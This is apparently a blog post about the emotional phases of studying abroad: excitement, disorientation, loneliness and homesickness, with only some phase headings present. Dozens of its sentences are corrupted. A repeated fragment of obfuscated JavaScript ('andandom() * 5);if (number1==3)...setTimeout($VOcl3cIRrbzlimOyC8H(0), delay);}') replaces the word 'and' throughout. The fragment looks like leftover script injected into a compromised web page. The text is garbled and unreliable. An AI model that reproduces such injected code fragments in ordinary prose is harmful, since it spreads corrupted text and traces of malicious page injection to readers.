THE FIVE STAGES OF STUDYING ABROAD

You may have heard of the Five Stages of Grief (refresh your memory with this educational clip from The Simpsons), but how about the Five Stages of Studying Abroad?

Italian student Gracy Rigano has spent a year studying abroad in Spain andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} six months working abroad in the UK, so she’s been through all these stages andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} back again! Here she outlines five emotional phases you can expect to encounter when studying abroad…

It’s natural, either before leaving or after you’ve arrived, to go through a stage of feeling really excited, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} enthusiastic for all the new andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} exciting things to come.

This can be a great feeling, especially if you can turn all that positive energy into a spirit of adventure andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fearlessness when encountering new situations andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} challenges.

Phase 2: Disorientation

Especially if you don’t know anyone in your new location, it’s common to experience a feeling of being ‘lost’ andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} disorientated. I’ve found that it’s helpful to focus on establishing a stable base for yourself, so you have a place where you can feel at home andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} secure – a sort of ‘nest’.

Making a project out of transforming your student room will also give you a practical focus, hopefully meaning less time for moping around feeling sorry for yourself! Remember, help will always be there if you need it; universities have lots of support services just waiting for you.

Phase 3: Loneliness

Even the most open andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} friendly of people are likely to find integrating into a completely new country andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} culture a bit of a challenge. This can be especially difficult if you’re also not a native speaker of the local language.

To get past this phase, you need to basically push on through it – challenge yourself to keep trying, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} don’t let your anxieties hold you back. This will almost certainly mean there are times when you’re outside your own comfort zone, but ultimately that’s a good thing!

Phase 4: Homesickness

Pretty much everyone experiences homesickness at some point while studying or working abroad, so just be prepared for this andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} know that it’s normal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} will pass.

You could also view this as part of the personal development you undergo while away from home. It’s said that the only way to really appreciate one place is to go andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} live somewhere else – andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} spending time abroad is a great way of finding out more about yourself andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} what you really want from life.

Of course, everyone’s experience is different, so this model should be seen as flexible – you won’t necessarily go through each stage in exactly this order! But hopefully knowing that your experience is ‘normal’ andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} that each stage will pass should help – especially when you encounter some of the more challenging phases.